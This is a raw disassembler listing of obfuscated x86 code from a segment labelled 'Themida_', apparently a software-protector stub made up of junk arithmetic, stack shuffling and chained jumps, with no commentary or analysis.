

sub_555B43	proc near		; DATA XREF: Themida_:00551284o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0055370E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005541D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055529E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00559013 SIZE 0000003E BYTES

		mov	ax, [esp+0]
		push	ecx
		jmp	loc_559013
sub_555B43	endp

; ---------------------------------------------------------------------------


loc_555B4D:				; CODE XREF: Themida_:00557ACDj
		mov	dh, bh
		mov	al, dh
		pop	edx
		push	edx
		mov	dh, al
		mov	ch, dh
		pop	edx
		pop	eax
		mov	dh, ch
		pop	ecx
		pop	ebx
		add	al, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	bl, 19h
		push	ecx
		mov	ch, 2Bh
		or	ch, 0E6h
		add	ch, 1
		and	ch, 0DCh
		not	ch
		sub	ch, 77h
		xor	ch, 5Fh
		sub	bl, ch
		pop	ecx
		add	bl, al
		push	ecx
		mov	cl, 39h
		neg	cl
		dec	cl
		shl	cl, 1
		jmp	loc_556107
; ---------------------------------------------------------------------------


loc_555B90:				; CODE XREF: Themida_:00552B66j
		mov	ecx, 4
		jmp	loc_559505
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		jmp	loc_552E3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_555BA4:				; CODE XREF: sub_552B28+9262j
		inc	cl
		shr	cl, 2
		shl	cl, 7
		sub	cl, 0DDh
		push	edx
		jmp	loc_5560D6
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559CF7


loc_555BB5:				; CODE XREF: sub_559CF7+16F7j
		and	edx, 4B0D2E59h
		inc	edx
		jmp	loc_55D18E
; END OF FUNCTION CHUNK	FOR sub_559CF7
; ---------------------------------------------------------------------------


loc_555BC1:				; CODE XREF: Themida_:0055DA3Dj
		mov	ch, 4
		sub	esp, 4
		mov	[esp], eax
		mov	ah, ch
		mov	dl, ah
		pop	eax
		pop	ecx
		push	edx
		jmp	loc_559E1F
; ---------------------------------------------------------------------------


loc_555BD5:				; CODE XREF: Themida_:005590EDj
		add	esp, 4
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_555BF4:				; CODE XREF: Themida_:00559608j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_558893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555BFE:				; CODE XREF: sub_55ABF6-867j
		mov	ebx, 7DD33E54h
		jmp	loc_559A8F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_555C08:				; CODE XREF: Themida_:0055B609j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55A1CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_555C11:				; CODE XREF: sub_55611A+3j
		mov	[esp+4+var_4], ebx
		mov	bh, 11h
		push	edx
		jmp	loc_554598
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_555C1C:				; CODE XREF: sub_55389F+26F3j
		sub	ecx, esi
		push	[esp+8+var_8]
		jmp	loc_552685
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------


loc_555C26:				; CODE XREF: Themida_:005544BBj
		push	edx
		mov	edx, 0C47167Ah
		dec	edx
		neg	edx
		dec	edx
		xor	edx, 572E1585h
		or	edx, 4F3F3797h
		push	ebp
		mov	ebp, 383A3A4Eh
		jmp	loc_5540FA
; ---------------------------------------------------------------------------


loc_555C47:				; CODE XREF: Themida_:0055857Fj
		pop	esi
		jmp	loc_556F1E
; ---------------------------------------------------------------------------


loc_555C4D:				; CODE XREF: Themida_:005563E5j
		push	esp
		pop	ecx
		push	esi
		jmp	loc_55682B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555C55:				; CODE XREF: sub_55ABF6+ECj
		add	al, bh
		pop	ebx
		sub	al, 9Dh
		sub	al, bl
		jmp	loc_559700
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5536FD


loc_555C61:				; CODE XREF: sub_5536FD+8AB2j
		and	[esp+0], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5536FD

; =============== S U B	R O U T	I N E =======================================



sub_555C6B	proc near		; DATA XREF: Themida_:005513B0o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055725D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558BFC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055B132 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055BCC3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055DCCD SIZE 00000007 BYTES

		mov	ax, [esp+0]
		push	7F68h
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	744h
		mov	[esp+8+var_8], eax
		mov	eax, 0EF157F0h
		shl	eax, 4
		add	eax, 10EA8104h
		sub	esi, 5C866346h
		push	edx
		mov	edx, 0B0717E9h
		sub	esi, edx
		jmp	loc_55B132
sub_555C6B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_555CA1:				; CODE XREF: sub_554E9D-732j
		pop	esp
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp-10h+arg_C], edx
		mov	edx, 0
		mov	eax, edx
		jmp	loc_551FB2
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_555CB7:				; CODE XREF: Themida_:0055A359j
		mov	bl, 6Bh
		jmp	loc_555F45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_555CBE:				; CODE XREF: sub_55C814-31F5j
		push	dword ptr [esp+0]
		pop	ebp
		push	5040h
		jmp	loc_556DEF
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55C935
; ---------------------------------------------------------------------------


loc_555CD7:				; CODE XREF: Themida_:0055A23Fj
		push	503Bh
		mov	[esp], edx
		mov	edx, 5CAB6FE0h
		push	ecx
		mov	ecx, 0
		sub	ecx, edx
		xchg	ecx, edx
		pop	ecx
		jmp	loc_5541B3
; ---------------------------------------------------------------------------


loc_555CF4:				; CODE XREF: Themida_:00553348j
		add	cl, 1
		jmp	loc_55BE95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_555CFC:				; CODE XREF: sub_55C1DB-8F5Cj
		neg	ecx
		jmp	loc_553534
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------


loc_555D03:				; CODE XREF: Themida_:0055BC11j
		shr	ah, 4
		push	dx
		jmp	loc_55A9DF

; =============== S U B	R O U T	I N E =======================================



sub_555D0D	proc near		; DATA XREF: Themida_:00551250o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005550DE SIZE 00000026 BYTES

		mov	ax, [esp+0]
		push	3985h
		mov	[esp+4+var_4], edx
		push	3A8Bh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	ebx
		push	ecx
		mov	ecx, 729709DFh
		inc	ecx
		and	ecx, 1DCB5743h
		push	ebx
		mov	ebx, 4ACF4BAAh
		jmp	loc_5550DE
sub_555D0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551F97


loc_555D4B:				; CODE XREF: sub_551F97-801j
		pop	ebx
		jmp	loc_557125
; END OF FUNCTION CHUNK	FOR sub_551F97
; ---------------------------------------------------------------------------


loc_555D51:				; CODE XREF: Themida_:00555E96j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5584AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_555D5F:				; CODE XREF: sub_559977+19FEj
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		sub	ax, si
		mov	si, [esp+0]
		push	eax
		jmp	loc_551ED9
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_555D72:				; CODE XREF: sub_55C814-73Bj
		mov	esi, 6F912C94h
		xor	[esp+8+var_4], esi
		pop	esi
		mov	eax, [esp+4+var_4]
		push	2B41h
		mov	[esp+8+var_8], ecx
		jmp	loc_55C648
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_555D8C:				; CODE XREF: sub_55B62C+F0Bj
		pop	ebp
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		pop	esp
		movzx	cx, al
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, esp
		push	6668h
		mov	[esp+4+var_4], esi
		mov	esi, 24283448h
		sub	esi, 327E3C0Ch
		and	esi, 34E95A62h
		jmp	loc_556470
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_55CA98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_555DD5:				; CODE XREF: sub_55C814-5B1Ej
		sub	edi, 4
		jmp	loc_559365
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_555DE0:				; CODE XREF: sub_552215+5415j
		mov	ebp, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		pop	dword ptr [edi+24h]


loc_555DFB:				; CODE XREF: sub_55314C+492Dj
		push	655Fh
		mov	[esp+8+var_8], ebx
		add	[esp+8+var_8], 1BBE63D9h
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		push	esi
		jmp	loc_55C144
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55703A


loc_555E19:				; CODE XREF: sub_55703A-26C1j
		xchg	ecx, [esp+8+var_8]
		jmp	loc_5548D9
; END OF FUNCTION CHUNK	FOR sub_55703A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_555E21:				; CODE XREF: sub_55CE17-2D5Aj
		mov	esi, esp
		jmp	loc_551C3A
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_555E28:				; CODE XREF: sub_559249-A07j
		mov	edi, esp
		add	edi, 4
		jmp	loc_557E37
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_555E35:				; CODE XREF: sub_55B1F8+E3Aj
		mov	ecx, [esp+8+var_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_556BC4
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_555E4C:				; CODE XREF: sub_557D5E+21ECj
		mov	[esp+4+var_4], ecx
		push	ebp
		mov	ebp, 56870E7Fh
		jmp	loc_552FA0
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------


loc_555E5A:				; CODE XREF: Themida_:0055DA5Aj
		add	edi, 3D253D83h
		sub	edx, edi
		pop	edi
		sub	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		jmp	loc_555D51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5525F4


loc_555E9B:				; CODE XREF: sub_5525F4+46B1j
		mov	edx, [esp+0]
		jmp	loc_55DDF4
; END OF FUNCTION CHUNK	FOR sub_5525F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5571D3


loc_555EA3:				; CODE XREF: sub_5571D3-2A58j
		add	ebx, 89E3F01h
		sub	ebx, ebp
		sub	ebx, 89E3F01h
		pop	ebp
		add	esi, ebx
		pop	ebx
		jmp	sub_553144
; END OF FUNCTION CHUNK	FOR sub_5571D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5578E3


loc_555EBA:				; CODE XREF: sub_5578E3+2CA6j
		push	edx
		mov	edx, 1E39010Eh
		jmp	loc_555995
; END OF FUNCTION CHUNK	FOR sub_5578E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555EC5:				; CODE XREF: sub_55ABF6+2FF5j
		xor	edi, 12F84517h
		and	eax, edi
		jmp	loc_55D303
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_555ED2:				; CODE XREF: Themida_:00558111j
		pop	edx
		add	edi, ecx
		pop	ecx
		jmp	loc_553099
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_555EDB:				; CODE XREF: sub_5523E1+4787j
		mov	word ptr [esp+2+var_4+2], dx
		push	ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_555EE7:				; CODE XREF: Themida_:005527E0j
		push	472Ah
		jmp	loc_5543C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_555EF1:				; CODE XREF: sub_552215+6CFDj
		pop	esi
		or	eax, eax
		jz	loc_555FB9
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 69744125h
		push	edx
		push	20023C9h
		jmp	loc_5585A9
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------


loc_555F0E:				; CODE XREF: Themida_:00558888j
		add	ah, 32h
		inc	ah
		jmp	loc_554F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_555F18:				; CODE XREF: sub_55314C+8E5j
		add	esi, eax
		pop	eax
		jmp	loc_5591E5
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------


loc_555F20:				; CODE XREF: Themida_:00559ED1j
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esi, 3A0568C3h
		add	esi, eax
		sub	esi, 3A0568C3h
		pop	eax
		jmp	loc_55A771
; ---------------------------------------------------------------------------


loc_555F45:				; CODE XREF: Themida_:00555CB9j
		mov	dh, 30h
		xor	dh, bl
		pop	ebx
		add	al, dh
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5527DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_555F5E:				; CODE XREF: sub_5546E4-2AAFj
		mov	ecx, 3C460150h
		jmp	loc_55BA86
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C840


loc_555F68:				; CODE XREF: sub_55C840-1985j
		xor	dl, 1Bh
		xor	cl, dl
		pop	edx
		add	al, cl
		jmp	loc_5551F2
; END OF FUNCTION CHUNK	FOR sub_55C840
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555F75:				; CODE XREF: sub_55ABF6+13D5j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55D503
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_555F80:				; CODE XREF: sub_55389F+7793j
		add	ecx, 6A4762C1h
		or	ecx, 0B2825CBh
		push	esi
		mov	esi, 1F6BEFC7h
		jmp	loc_555C1C
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556BCD


loc_555F97:				; CODE XREF: sub_556BCD-312Aj
		mov	ch, dh
		pop	dx
		xor	ch, 8Eh
		push	dx
		push	ecx
		push	edx
		mov	dl, 0ECh
		shl	dl, 3
		and	dl, 0D0h
		jmp	loc_55A665
; END OF FUNCTION CHUNK	FOR sub_556BCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_555FAF:				; CODE XREF: sub_55ABF6-849Cj
		add	ecx, ebx
		add	dword ptr [ecx], 1
		pop	ecx
		pop	ebx


loc_555FB9:				; CODE XREF: sub_552215+3CDFj
		push	295h
		mov	[esp-6+arg_0+2], ebx
		jmp	loc_558BDB
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------


loc_555FCE:				; CODE XREF: Themida_:0055A529j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_555FDD:				; CODE XREF: sub_55A4DA+A92j
		add	edx, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		sub	edx, 3C680BBFh
		push	ebp
		mov	ebp, 101352FBh
		sub	ebp, 14BF0DD0h
		jmp	loc_55D751
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_555FFC:				; CODE XREF: Themida_:00555153j
		push	ebx
		jmp	loc_55D1A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_556002:				; CODE XREF: sub_554592+58B4j
		mov	edi, 5BF44064h
		shl	edi, 4
		and	edi, 2BF117F5h
		push	eax
		mov	eax, 60BD5649h
		sub	eax, 70208660h
		sub	edi, eax
		pop	eax
		jmp	loc_554DA7
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_556023:				; CODE XREF: sub_55ABF6-2B3Dj
		mov	[esp-6+arg_0+2], esp
		jmp	loc_558FC5
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55602B:				; CODE XREF: Themida_:0055B260j
		pop	ebx
		mov	dh, ah
		pop	eax
		add	al, dh
		mov	dx, [esp]
		add	esp, 2
		add	al, 23h
		add	al, bl
		sub	al, 23h
		jmp	loc_55541D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55468B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55604C:				; CODE XREF: sub_559249+257Ej
		shr	ecx, 8
		not	ecx
		xor	ecx, 0FFAF12C6h
		mov	esi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+20h+var_20], ecx
		mov	ecx, 24h
		jmp	loc_558172
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_55606A:				; CODE XREF: sub_55326E+2709j
		add	ecx, 2FA83933h
		sub	eax, 166E0E90h
		jmp	loc_559B83
; END OF FUNCTION CHUNK	FOR sub_55326E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_55607A:				; CODE XREF: sub_553571+30D5j
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558657


loc_55607F:				; CODE XREF: sub_558657-427Cj
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_553FE1
; END OF FUNCTION CHUNK	FOR sub_558657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55608F:				; CODE XREF: sub_55CE17-1D0Dj
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_554AC3
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553464


loc_55609D:				; CODE XREF: sub_553464+3j
		mov	[esp+4+var_4], ebx
		mov	ebx, 31F66ABAh
		not	ebx
		add	ebx, 2A755C7Eh
		add	ebx, 5FC72E4Dh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55C4CB
; END OF FUNCTION CHUNK	FOR sub_553464
; ---------------------------------------------------------------------------


loc_5560BB:				; CODE XREF: Themida_:00559A2Fj
		add	edi, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_558A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_5560CC:				; CODE XREF: sub_559249+1392j
		sub	eax, 7F843283h
		jmp	loc_5535F8
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_5560D6:				; CODE XREF: sub_552B28+3088j
		push	eax
		jmp	sub_55C840
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------


loc_5560DC:				; CODE XREF: Themida_:0055BB68j
		add	esi, 144057D2h
		jmp	loc_55281F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5560E7:				; CODE XREF: sub_55ABF6+1915j
		mov	esi, ebx
		jmp	loc_5525A3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5560F6:				; CODE XREF: sub_55ABF6-6587j
		mov	eax, esp
		jmp	loc_55A067
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55890A


loc_5560FD:				; CODE XREF: sub_55890A+A6Bj
		push	eax
		push	[esp+0Ch+var_8]
		jmp	loc_5570DD
; END OF FUNCTION CHUNK	FOR sub_55890A
; ---------------------------------------------------------------------------


loc_556107:				; CODE XREF: Themida_:00555B8Bj
		push	ebx
		mov	bh, 1Bh
		shl	bh, 6
		push	dx
		jmp	loc_557C71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556EE1


loc_556114:				; CODE XREF: sub_556EE1+31j
		pop	edx
		jmp	loc_55D508
; END OF FUNCTION CHUNK	FOR sub_556EE1

; =============== S U B	R O U T	I N E =======================================



sub_55611A	proc near		; CODE XREF: sub_572DB1-1AFC8j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055260D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005533BF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00553BA7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00554031 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00554598 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00555167 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555579 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555C11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005563C7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00556626 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00557476 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00559417 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0055992C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559A3B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B10F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C458 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055CDE9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055CE82 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055D224 SIZE 00000011 BYTES

		sub	esp, 4
		jmp	loc_555C11
sub_55611A	endp

; ---------------------------------------------------------------------------


loc_556122:				; CODE XREF: Themida_:0055989Ej
		add	ebp, 4
		jmp	loc_55A7FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_55612D:				; CODE XREF: sub_554085+4793j
		mov	[esp+0], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_5568AB
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------


loc_556138:				; CODE XREF: Themida_:0055A893j
		mov	esi, edx
		pop	edx
		sub	edi, 34B74EEAh
		add	edi, esi
		add	edi, 34B74EEAh
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_559293
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_556158:				; CODE XREF: sub_55910B-75B3j
		push	ax
		push	edx
		push	ebx
		mov	bl, 23h
		push	ecx
		mov	cl, 54h
		jmp	loc_558FE0
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_556166:				; CODE XREF: sub_554085+2ADAj
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp-0Ah+arg_4+2], ebx
		mov	bh, 0E0h
		mov	dh, bh
		jmp	loc_558809
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_556177:				; CODE XREF: sub_55A4DA-668Bj
		mov	edx, 0A7F4F3FFh
		jmp	loc_55D415
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------


loc_556181:				; CODE XREF: Themida_:00556315j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	2B44h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	4968h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55937A
; ---------------------------------------------------------------------------
		lodsb
		push	small 77F7h
		jmp	loc_55B91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_5561E4:				; CODE XREF: sub_55CFFC-11C8j
		xor	ecx, 4D145Ch
		sub	ecx, 0FF6B1FD5h
		sub	ebp, 5D78651Bh
		sub	ebp, ecx
		add	ebp, 5D78651Bh
		pop	ecx
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_556215:				; CODE XREF: sub_55BB30-2C32j
		add	eax, edx
		jmp	loc_5558A7
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55621C:				; CODE XREF: sub_559249+2B10j
		xchg	edx, [esp+8+var_8]
		pop	esp
		jmp	loc_55835B
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	0D7Eh
		jmp	loc_55AC5A
; ---------------------------------------------------------------------------


loc_556237:				; CODE XREF: Themida_:005535C6j
		mov	ecx, edi
		pop	edi
		or	ecx, 0CA32288h
		shr	ecx, 5
		jmp	loc_55D1AE
; ---------------------------------------------------------------------------


loc_556248:				; CODE XREF: Themida_:00554C97j
		sub	al, cl
		push	edx
		mov	dh, 9Dh
		neg	dh
		jmp	loc_55B744
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_556254:				; CODE XREF: sub_55CE17-901j
		sub	ecx, esi
		add	ecx, 20FA1899h
		pop	esi
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		jmp	loc_55D4B9
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55626B:				; CODE XREF: sub_552215+93ACj
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+20h+var_20], edx
		mov	edx, 4
		sub	edi, edx
		pop	edx
		xchg	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_559BCE
